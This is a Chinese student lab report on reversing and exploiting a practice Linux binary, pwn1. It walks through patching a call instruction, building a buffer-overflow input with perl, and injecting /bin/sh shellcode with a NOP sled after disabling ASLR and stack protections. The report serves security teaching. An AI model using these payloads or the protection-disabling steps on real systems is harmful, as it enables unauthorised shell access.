2018-2019-2 20165231王杨鸿永《网络对抗》Exp1 PC平台逆向破解
实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
基础知识
linux基本操作
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管道(|):管道是Linux由Unix那里继承过来的进程间的通信机制,它是Unix早期的一个重要通信机制。其思想是,在内存中创建一个共享文件,从而使通信双方利用这个共享文件来传递信息。由于这种方式具有单向传递数据的特点,所以这个作为传递消息的共享文件就叫做“管道”。
管道的局限性:
① 数据自己读不能自己写。
② 数据一旦被读走,便不在管道中存在,不可反复读取。
③ 由于管道采用半双工通信方式。因此,数据只能在一个方向上流动。
④ 只能在有公共祖先的进程间使用管道。 -
输入:linux标准输入设备指的是键盘,标准输出设备指的是显示器,标准错误输出指的是显示器。
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输出重定向(>):输出重定向就是指不使用linux默认的标准输出设备显示信息,而是指定某个文件做为标准输出设备来存储文件信息。
Bof原理
Linux下进程地址空间的布局
典型的堆栈结构
栈中有return address还有局部变量,也就是函数的参数,bof攻击是利用上参数的溢出将返回地址return address用自己构造的数据覆盖掉,从而控制程序的进程。接下来就试着通过bof攻击来实现调用getshell函数。
NOP、JNE、JE、JMP、CMP汇编指令的机器码
- NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
- JNE:条件转移指令,如果不相等则跳转。(机器码:75)
- JE:条件转移指令,如果相等则跳转。(机器码:74)
- JMP:无条件转移指令。段内直接短转Jmp
- short(机器码:EB) 段内直接近转移Jmp
- near(机器码:E9) 段内间接转移 Jmp
- word(机器码:FF) 段间直接(远)转移Jmp
- far(机器码:EA)
- CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
gdb的常用命令
![](./images/gdb%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4.png)
实验内容
直接修改程序机器指令,改变程序执行流程
下载目标文件pwn1到实验虚拟机,反汇编objdump -d pwn1 |more
。下面只保留了最核心的几行代码。
指令将调用位于地址8048491处的foo函数
其对应机器指令为“e8 d7ffffff”,e8即跳转。
此时此刻EIP的值应该是下条指令的地址,即80484ba,但出现e8这条指令,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值,调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行。直接 804847d-80484ba就能得到补码,是c3ffffff。
所以编辑pwn1文件 vim pwn1
将其中的call指令的目标地址由d7ffffff变为c3ffffff
以下操作是在vi内
- 按ESC键
- 输入如下,将显示模式切换为16进制模式
:%!xxd- 查找要修改的内容
/e8d7- 找到后前后的内容和反汇编的对比下,确认是地方是正确的
- 修改d7为c3
- 转换16进制为原格式
:%!xxd -r- 存盘退出vi
:wq
![enter description here enter description here](./images/%E4%BF%AE%E6%94%B9pwn.png)
然后
./pwn1
运行![enter description here enter description here](./images/%E7%BB%93%E6%9E%9C1.png)
通过构造输入参数,造成BOF攻击,改变程序执行流
我们重新命名一个原pwn文件pwn1_2
反汇编,了解漏洞以及程序的基本功能
该可执行文件正常运行是调用函数foo,这个函数有Buffer overflow漏洞,即foo函数中的gets函数,由于该函数不会检查用户输入的长度,通过“栈溢出”覆盖栈中保存的RET地址,可以改变程序的执行流。
函数foo中的mov(804849a)读入字符串,但系统只预留了32字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址
函数main中的call调用函数foo,同时在堆栈上压上返回地址值:80484ae
确认覆盖到返回地址的字符
如果输入字符串1111111122222222333333334444444412345678
,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为getShell的内存地址,输入给pwn1,pwn1就会运行getShell
确认用什么值来覆盖返回地址
getShell的内存地址,通过反汇编时可以看到,即0804847d
接下来要确认下字节序,因为PC属于小端所以输入11111111222222223333333344444444\x7d\x84\x04\x08
构造输入字符串
由于没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以需要使用prel方法先生成包括这样字符串的一个文件,将getshell的内存地址写入输入字符串中,\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
![](./images/%E6%B7%BB%E5%8A%A0.png)
将input的输入,通过管道符“|”,作为pwn1的输入
(cat input; cat) | ./pwn1_2
![](./images/2%E7%BB%93%E6%9E%9C.png)
注入Shellcode并执行
- 准备一段Shellcode
- shellcode就是一段机器指令(code)
通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
所以这段机器指令被称为shellcode。
在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
如:\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
准备工作: - 关闭堆栈保护(gcc -fno-stack-protector)
- 关闭堆栈执行保护(execstack -s)
- 关闭地址随机化 (/proc/sys/kernel/randomize_va_space=0)
- 在x32环境下
- 在Linux实践环境
apt-get install execstack //安装execstack命令
execstack -s pwn1_3 //设置堆栈可执行
execstack -q pwn1_3 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
构造要注入的payload
Linux下有两种基本构造攻击buf的方法:
- retaddr+nop+shellcode
- nop+shellcode+retaddr。
因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
我们这个buf够放这个shellcode了
结构为:nops+shellcode+retaddr
nop一为是了填充,二是作为“着陆区/滑行区”。
我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。
使用命令注入,其中前面32个A用来填满缓冲区buf,\x04\x03\x02\x01
为预留的返回地址retaddr:
perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
打开一个终端注入这段攻击buf:
(cat input_shellcode;cat) | ./pwn1_3
开启另一终端调试进程
用ps -ef | grep pwn1_3
命令找到pwn1_3的进程号是:3937
用gdb pwn1_3、attach命令启动gdb调试这个进程:
用disassemble foo
命令反汇编,通过设置断点,来查看注入buf的内存地址:
通过break *0x080484ae
命令设置断点,输入countine 继续运行
在另外一个终端中按下回车使上一调试过程继续执行。再返回调试终端,使用info r esp
命令查找地址:
用x/16x 0xffffd64c
命令查看其存放内容,看到了0x01020304
,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,所以地址应为0xffffd650
:
![](./images/%E6%9F%A5%E7%9C%8B%E5%88%B00x01020304.png)
接下来只需要将之前的\x4\x3\x2\x1改为这个地址即可,用命令
perl -e 'print "A" x 32;print "\x50\xd6\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
![](./images/3%E5%AE%8C%E6%88%90.png)
实验中遇到的问题及解决过程
1、提示段错误
- 替换\x4\x3\x2\x1时一定记住小端从后往前,每两位为一组
2、echo "0" > /proc/sys/kernel/randomize_va_space//关闭地址随机化
提示权限不够。
- 这时就不要使用自己账号了直接
sudo su
root管理员还怕权限不够。
实验感想
复习了linux虚拟机的操作和gdb调试,Kali和Ubuntu感觉最大的不同就是Ubuntu系统预设了Ctrl+Alt+T
的快捷打开终端而Kali没有,导致实验需要打开另一个终端时按了很久以为电脑卡了(同配置下Kali也的确比Ubuntu要卡),后来搜了一下教程在快捷键里添加了命令。
实验上觉得汇编代码真的很神奇,可是我汇编学得不好,但是在操作教程的指点下还是完成了,希望以后的实验可以钻研出一点有趣的玩法。
什么是漏洞?漏洞有什么危害?
漏洞就是现代电子设备在硬件、软件、协议上的一些能够引发一系列安全问题,威胁用户操作的缺陷。比如这次实验的漏洞是缓冲区溢出,因为没有考虑到超出栈的空间分配的问题导致被利用,使软件的功能被改变。攻击者可以对文件进行任意的操作,也可能会执行相关的恶意代码,为木马植入、后门设置提供条件。